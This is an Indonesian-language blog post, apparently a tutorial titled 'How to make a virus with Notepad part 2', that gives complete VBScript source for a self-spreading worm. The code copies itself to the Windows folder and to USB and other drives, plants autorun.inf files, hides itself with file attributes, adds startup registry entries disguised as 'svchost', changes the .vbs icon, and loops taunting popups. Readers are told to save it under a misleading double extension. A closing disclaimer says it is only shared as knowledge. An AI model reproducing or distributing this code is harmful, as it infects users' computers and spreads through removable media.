Cara Membuat Virus Dengan Notepad Bag.2

Virus notepad berikutnya adalah virus yang sangat berbahaya. Buka program notepad. Copy paste scrib di bawah ini, simpan dengan nama ganas_banget.exe.vbs

‘El Magnifico MAN<br /> on error resume next<br /> dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd<br /> atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”<br /> set fs = createobject(“Scripting.FileSystemObject”)<br /> set mf = fs.getfile(Wscript.ScriptFullname)<br /> dim text,size<br /> size = mf.size<br /> check = mf.drive.drivetype<br /> set text=mf.openastextstream(1,-2)<br /> do while not text.atendofstream<br /> mysource=mysource&text.readline<br /> mysource=mysource & vbcrlf<br /> loop<br /> do<br /> Set winpath = fs.getspecialfolder(0)<br /> set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)<br /> tf.attributes = 32<br /> set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)<br /> tf.write mysource<br /> tf.close<br /> set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)<br /> tf.attributes = 39<br /> for each flashdrive in fs.drives<br /> If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then<br /> set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)<br /> tf.attributes =32<br /> set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)<br /> tf.write mysource<br /> tf.close<br /> set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)<br /> tf.attributes =39<br /> set tf =fs.getfile(flashdrive.path &”\autorun.inf”)<br /> tf.attributes = 32<br /> set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)<br /> tf.write atr<br /> tf.close<br /> set tf =fs.getfile(flashdrive.path &”\autorun.inf”)<br /> tf.attributes=39<br /> end if<br /> next<br /> set rg = createobject(“WScript.Shell”)<br /> rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”<br /> rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””<br /> rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″<br /> if check 1 then<br /> Wscript.sleep 100000<br /> end if<br /> loop while check1<br /> set sd = createobject(“Wscript.shell”)<br /> sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname<br /> <br /> do while year(now) >= 2008<br /> WScript.sleep 20000<br /> <br /> msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _<br /> “ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _<br /> “dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _<br /> “iko permainan yang paten ma dunsanak” & vbcrlf & _<br /> vbcrlf & vbcrlf & _<br /> ” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _<br /> ” aaa kini saaiknyo ma dunsanak”<br /> <br /> loop

Oke udah deh, tinggal di paste aja code diatas ke dalam notepad. terus simpen deh. Tapi inget jangan dipake buat iseng, saya disini bukan bermaksud mengajarkan yang buruk, tapi saya cuma mau membagi ilmu saya saja. Inget Komentarnya ya........